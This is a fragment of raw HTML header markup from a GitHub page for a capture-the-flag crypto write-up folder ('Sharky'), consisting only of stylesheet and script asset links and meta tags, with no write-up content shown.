href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>Writeups/Google/Crypto/Sharky at master · TheWinRaRs/Writeups · GitHub</title> <meta name="description" content="Contribute to TheWinRaRs/Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/0616cbba0d52112062fdb663f19842cd2355c01895afd5032ca9429b2f542a4e/TheWinRaRs/Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Writeups/Google/Crypto/Sharky at master · TheWinRaRs/Writeups" /><meta name="twitter:description" content="Contribute to TheWinRaRs/Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/0616cbba0d52112062fdb663f19842cd2355c01895afd5032ca9429b2f542a4e/TheWinRaRs/Writeups" /><meta property="og:image:alt" content="Contribute to TheWinRaRs/Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Writeups/Google/Crypto/Sharky at master · TheWinRaRs/Writeups" /><meta property="og:url" content="https://github.com/TheWinRaRs/Writeups" /><meta property="og:description" content="Contribute to TheWinRaRs/Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="D00E:09CF:465426:562C67:61830919" data-pjax-transient="true"/><meta name="html-safe-nonce" content="d1dbc2bbf3d678e07390d5df83649185a5101c758860967cbc73e48e2b64072c" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEMDBFOjA5Q0Y6NDY1NDI2OjU2MkM2Nzo2MTgzMDkxOSIsInZpc2l0b3JfaWQiOiIxMTg2ODkzNDczNDg4NTA1MTEzIiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="1836bde01f2452ba87a9c1123957a3eda9ce957cd672f64e9f5dde7f3cd0f56e" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:267304823" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/TheWinRaRs/Writeups git https://github.com/TheWinRaRs/Writeups.git"> <meta name="octolytics-dimension-user_id" content="66013182" /><meta name="octolytics-dimension-user_login" content="TheWinRaRs" /><meta name="octolytics-dimension-repository_id" content="267304823" /><meta name="octolytics-dimension-repository_nwo" content="TheWinRaRs/Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="267304823" /><meta name="octolytics-dimension-repository_network_root_nwo" content="TheWinRaRs/Writeups" /> <link rel="canonical" href="https://github.com/TheWinRaRs/Writeups/tree/master/Google/Crypto/Sharky" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> 